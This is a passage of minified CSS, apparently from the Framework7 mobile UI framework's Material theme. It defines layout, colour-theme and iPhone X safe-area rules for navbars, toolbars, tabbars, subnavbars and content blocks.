.navbar.color-white{background:#fff}.md .navbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-left-edge .navbar-inner,.md.device-iphone-x .panel-left .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-right-edge .navbar-inner,.md.device-iphone-x .panel-right .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.toolbar{width:100%;position:relative;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;left:0}.toolbar b{font-weight:500}.toolbar a{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;white-space:nowrap;text-overflow:ellipsis}.toolbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.toolbar i.icon{display:block}.toolbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.views>.tabbar,.views>.tabbar-labels{z-index:5001}.tabbar a.link,.tabbar-labels a.link{line-height:1.4}.tabbar a.link,.tabbar a.tab-link,.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.tabbar-labels a.link .tabbar-label,.tabbar-labels a.tab-link .tabbar-label{display:block;line-height:1;margin:0;position:relative;text-overflow:ellipsis;white-space:nowrap}.tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-overflow-scrolling:touch}.tabbar-scrollable .toolbar-inner::-webkit-scrollbar{display:none!important;width:0!important;height:0!important;-webkit-appearance:none;opacity:0!important}.tabbar-scrollable a.link,.tabbar-scrollable a.tab-link{width:auto;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.page>.toolbar,.view>.toolbar,.views>.toolbar{position:absolute}.md .toolbar{background:#2196f3;height:48px;color:#fff;font-size:14px;top:0}.md .toolbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .toolbar.no-shadow:after{display:none}.md .toolbar a{color:#fff}.md .toolbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;line-height:48px;height:48px}.md .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .toolbar a.link i+i,.md .toolbar a.link i+span,.md .toolbar a.link span+i,.md .toolbar a.link span+span{margin-left:8px}.md .toolbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .toolbar-inner{overflow:hidden}.md .tabbar a.link,.md .tabbar a.tab-link,.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-left:0;padding-right:0;font-size:14px;text-transform:uppercase;font-weight:500;letter-spacing:.03em}.md .tabbar i.icon,.md .tabbar-labels i.icon{height:24px}.md .tabbar a.tab-link,.md .tabbar-labels a.tab-link{-webkit-transition-duration:.3s;transition-duration:.3s;overflow:hidden;color:rgba(255,255,255,.7);position:relative}.md .tabbar a.tab-link.active-state,.md .tabbar a.tab-link.tab-link-active,.md .tabbar-labels a.tab-link.active-state,.md .tabbar-labels a.tab-link.tab-link-active{color:#fff}.md .tabbar .tab-link-highlight,.md .tabbar-labels .tab-link-highlight{position:absolute;bottom:0;height:2px;background:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;left:0}.md .messagebar,.md .toolbar-bottom-md{top:auto!important;bottom:0!important}.md .messagebar:after,.md .toolbar-bottom-md:after{content:'';position:absolute;right:0;width:100%;bottom:100%;height:10px;top:auto;pointer-events:none;background:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .messagebar .tab-link-highlight,.md .toolbar-bottom-md .tab-link-highlight{bottom:auto;top:0}.md .tabbar-labels{height:72px}.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-top:12px;padding-bottom:12px}.md .tabbar-labels .tabbar-label{margin-top:10px;max-width:100%;overflow:hidden}.md .tabbar-labels.toolbar-bottom-md{height:56px}.md .tabbar-labels.toolbar-bottom-md a.link,.md .tabbar-labels.toolbar-bottom-md a.tab-link{padding-top:7px;padding-bottom:7px}.md .tabbar-labels.toolbar-bottom-md .tabbar-label{text-transform:none;line-height:1.2;font-weight:400;letter-spacing:0}.md .tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .tabbar-scrollable a.link,.md .tabbar-scrollable a.tab-link{padding:0 16px}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:48px}.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:72px}.md .toolbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .toolbar-hidden:after{display:none}.md .toolbar-hidden.messagebar,.md .toolbar-hidden.toolbar-bottom-md{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:56px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:104px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:128px}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-104px,0);transform:translate3d(0,-104px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md){-webkit-transform:translate3d(0,-128px,0);transform:translate3d(0,-128px,0)}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-56px,0);transform:translate3d(0,-56px,0)}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:64px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:112px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:136px}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-64px,0);transform:translate3d(0,-64px,0)}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-112px,0);transform:translate3d(0,-112px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-136px,0);transform:translate3d(0,-136px,0)}}.md .messagebar~* .page-content,.md .messagebar~.page-content,.md .toolbar-bottom-md~* .page-content,.md .toolbar-bottom-md~.page-content{padding-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .page-content,.md .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:56px}.md .navbar-transitioning+.toolbar,.md .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .color-theme-red .toolbar:not(.messagebar),.md .color-theme-red.toolbar:not(.messagebar){background:#f44336}.md .color-theme-green .toolbar:not(.messagebar),.md .color-theme-green.toolbar:not(.messagebar){background:#4caf50}.md .color-theme-blue .toolbar:not(.messagebar),.md .color-theme-blue.toolbar:not(.messagebar){background:#2196f3}.md .color-theme-pink .toolbar:not(.messagebar),.md .color-theme-pink.toolbar:not(.messagebar){background:#e91e63}.md .color-theme-yellow .toolbar:not(.messagebar),.md .color-theme-yellow.toolbar:not(.messagebar){background:#ffeb3b}.md .color-theme-orange .toolbar:not(.messagebar),.md .color-theme-orange.toolbar:not(.messagebar){background:#ff9800}.md .color-theme-gray .toolbar:not(.messagebar),.md .color-theme-gray.toolbar:not(.messagebar){background:#9e9e9e}.md .color-theme-white .toolbar:not(.messagebar),.md .color-theme-white.toolbar:not(.messagebar){background:#fff}.md .color-theme-black .toolbar:not(.messagebar),.md .color-theme-black.toolbar:not(.messagebar){background:#000}.md .toolbar:not(.messagebar).color-red{background:#f44336}.md .toolbar:not(.messagebar).color-green{background:#4caf50}.md .toolbar:not(.messagebar).color-blue{background:#2196f3}.md .toolbar:not(.messagebar).color-pink{background:#e91e63}.md .toolbar:not(.messagebar).color-yellow{background:#ffeb3b}.md .toolbar:not(.messagebar).color-orange{background:#ff9800}.md .toolbar:not(.messagebar).color-gray{background:#9e9e9e}.md .toolbar:not(.messagebar).color-white{background:#fff}.md .toolbar:not(.messagebar).color-black{background:#000}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md){height:calc(48px + constant(safe-area-inset-top));height:calc(48px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{height:auto}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{bottom:0;top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels{height:calc(72px + constant(safe-area-inset-top));height:calc(72px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar-bottom-md,.md.device-iphone-x .page>.toolbar-bottom-md,.md.device-iphone-x .panel>.toolbar-bottom-md,.md.device-iphone-x .popup>.toolbar-bottom-md,.md.device-iphone-x .view>.toolbar-bottom-md,.md.device-iphone-x .views>.toolbar-bottom-md{height:calc(48px + constant(safe-area-inset-bottom));height:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .login-screen>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .page>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .panel>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .popup>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .view>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .views>.toolbar-bottom-md .toolbar-inner{height:auto;top:0;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .login-screen>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .page>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .panel>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .popup>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .view>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .views>.toolbar-bottom-md.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}.md.device-iphone-x .messagebar~* .page-content,.md.device-iphone-x .messagebar~.page-content,.md.device-iphone-x .toolbar-bottom-md~* .page-content,.md.device-iphone-x .toolbar-bottom-md~.page-content{padding-bottom:calc(48px + constant(safe-area-inset-bottom));padding-bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~* .page-content,.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-left-edge .toolbar-inner,.md.device-iphone-x .panel-left .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-right-edge .toolbar-inner,.md.device-iphone-x .panel-right .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.subnavbar{width:100%;position:absolute;left:0;top:0;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .title{position:relative;overflow:hidden;text-overflow:ellpsis;white-space:nowrap}.subnavbar .left,.subnavbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .right:first-child{position:absolute;height:100%}.subnavbar-inner{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.subnavbar-inner.stacked{display:none}.navbar .subnavbar{top:100%}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.md .subnavbar{height:48px;background:#2196f3;color:#fff}.md .subnavbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .subnavbar.no-shadow:after{display:none}.md .subnavbar .title{margin:0 16px;font-size:20px;line-height:48px;display:inline-block;text-align:left;font-weight:500}.md .subnavbar .title:first-child{margin-left:56px}.md .subnavbar .right{margin-left:auto}.md .subnavbar .right:first-child{right:16px}.md .subnavbar a{color:inherit}.md .subnavbar a.link{line-height:48px;height:48px;min-width:48px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px}.md .subnavbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .subnavbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .subnavbar a.icon-only{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;min-width:0}.md .subnavbar-inner{padding:0 16px}.md .subnavbar-inner>a.link:first-child{margin-left:-16px}.md .subnavbar-inner>a.link:last-child{margin-right:-16px}.md .page-with-subnavbar .page-content,.md .subnavbar~* .page-content,.md .subnavbar~.page-content{padding-top:48px}.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:104px}@media (min-width:768px){.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:112px}}.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:56px}@media (min-width:768px){.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:64px}}.md .color-theme-red .subnavbar,.md .color-theme-red.subnavbar{background:#f44336}.md .color-theme-green .subnavbar,.md .color-theme-green.subnavbar{background:#4caf50}.md .color-theme-blue .subnavbar,.md .color-theme-blue.subnavbar{background:#2196f3}.md .color-theme-pink .subnavbar,.md .color-theme-pink.subnavbar{background:#e91e63}.md .color-theme-yellow .subnavbar,.md .color-theme-yellow.subnavbar{background:#ffeb3b}.md .color-theme-orange .subnavbar,.md .color-theme-orange.subnavbar{background:#ff9800}.md .color-theme-gray .subnavbar,.md .color-theme-gray.subnavbar{background:#9e9e9e}.md .color-theme-white .subnavbar,.md .color-theme-white.subnavbar{background:#fff}.md .color-theme-black .subnavbar,.md .color-theme-black.subnavbar{background:#000}.md .subnavbar.color-red{background:#f44336}.md .subnavbar.color-green{background:#4caf50}.md .subnavbar.color-blue{background:#2196f3}.md .subnavbar.color-pink{background:#e91e63}.md .subnavbar.color-yellow{background:#ffeb3b}.md .subnavbar.color-orange{background:#ff9800}.md .subnavbar.color-gray{background:#9e9e9e}.md .subnavbar.color-white{background:#fff}.md .subnavbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-left-edge .subnavbar-inner,.md.device-iphone-x .panel-left .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-right-edge .subnavbar-inner,.md.device-iphone-x .panel-right .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.block{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;z-index:1}.block.no-hairlines ul:before,.block.no-hairlines:before,.ios .block.no-hairlines-ios ul:before,.ios .block.no-hairlines-ios:before,.md .block.no-hairlines-md ul:before,.md .block.no-hairlines-md:before{display:none!important}.block.no-hairlines ul:after,.block.no-hairlines:after,.ios .block.no-hairlines-ios ul:after,.ios .block.no-hairlines-ios:after,.md .block.no-hairlines-md ul:after,.md .block.no-hairlines-md:after{display:none!important}.block.no-hairline-top ul:before,.block.no-hairline-top:before,.ios .block.no-hairline-top-ios ul:before,.ios .block.no-hairline-top-ios:before,.md .block.no-hairline-top-md ul:before,.md .block.no-hairline-top-md:before{display:none!important}.block.no-hairline-bottom ul:after,.block.no-hairline-bottom:after,.ios .block.no-hairline-bottom-ios ul:after,.ios .block.no-hairline-bottom-ios:after,.md .block.no-hairline-bottom-md ul:after,.md .block.no-hairline-bottom-md:after{display:none!important}.block>h1:first-child,.block>h2:first-child,.block>h3:first-child,.block>h4:first-child,.block>p:first-child{margin-top:0}.block>h1:last-child,.block>h2:last-child,.block>h3:last-child,.block>h4:last-child,.block>p:last-child{margin-bottom:0}.block-title{position:relative;overflow:hidden;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;line-height:1}.block-strong.inset{border-radius:7px}.block-strong.inset:before{display:none!important}.block-strong.inset:after{display:none!important}.block-footer,.block-header{font-size:14px}.block-footer h1:first-child,.block-footer h2:first-child,.block-footer h3:first-child,.block-footer h4:first-child,.block-footer p:first-child,.block-footer ul:first-child,.block-header h1:first-child,.block-header h2:first-child,.block-header h3:first-child,.block-header h4:first-child,.block-header p:first-child,.block-header ul:first-child{margin-top:0}.block-footer h1:last-child,.block-footer h2:last-child,.block-footer h3:last-child,.block-footer h4:last-child,.block-footer p:last-child,.block-footer ul:last-child,.block-header h1:last-child,.block-header h2:last-child,.block-header h3:last-child,.block-header h4:last-child,.block-header p:last-child,.block-header ul:last-child{margin-bottom:0}.block-footer h1:first-child:last-child,.block-footer h2:first-child:last-child,.block-footer h3:first-child:last-child,.block-footer h4:first-child:last-child,.block-footer p:first-child:last-child,.block-footer ul:first-child:last-child,.block-header h1:first-child:last-child,.block-header h2:first-child:last-child,.block-header h3:first-child:last-child,.block-header h4:first-child:last-child,.block-header p:first-child:last-child,.block-header ul:first-child:last-child{margin-top:0;margin-bottom:0}.block-header{margin-bottom:10px}.block-footer{margin-top:10px}@media (min-width:768px){.block-strong.tablet-inset:before{display:none!important}.block-strong.tablet-inset:after{display:none!important}}.md .block{margin:32px 0;padding:0 16px}.md .block-title{color:rgba(0,0,0,.54);margin:32px 16px 16px;line-height:16px;font-weight:500}.md .block-title+.block,.md .block-title+.block-header,.md .block-title+.card,.md .block-title+.list,.md .block-title+.timeline{margin-top:0}.md .block-strong{padding:16px}.md .block-strong:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block-strong:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block.inset{margin-left:16px;margin-right:16px}.md .block-strong.inset{border-radius:4px}.md .block-footer,.md .block-header{padding:0 16px;color:rgba(0,0,0,.54)}.md .block .block-footer,.md .block .block-header{padding:0}.md .block-header{margin-top:32px}.md .block-header+.block,.md .block-header+.card,.md .block-header+.list,.md .block-header+.timeline{margin-top:10px}.md .block-footer{margin-bottom:32px}.md .block .block-header,.md .card .block-header,.md .list .block-header,.md .timeline .block-header{margin-top:0}.md .block .block-footer,.md .card .block-footer,.md .list .block-footer,.md .timeline .block-footer{margin-bottom:0}.md .block+.block-footer,.md .card+.block-footer,.md .list+.block-footer,.md .timeline+.block-footer{margin-top:-22px}.md .block+.block-footer{margin-top:-22px;margin-bottom:32px}@media (min-width:768px){.md .block.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .block-strong.tablet-inset{border-radius:4px}}.md .theme-dark .block-title{color:#fff}.md .theme-dark .block-footer,.md .theme-dark .block-header{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-footer,.md.device-iphone-x .ios-left-edge .block-header,.md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-footer,.md.device-iphone-x .panel-left .block-header,.md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-edges 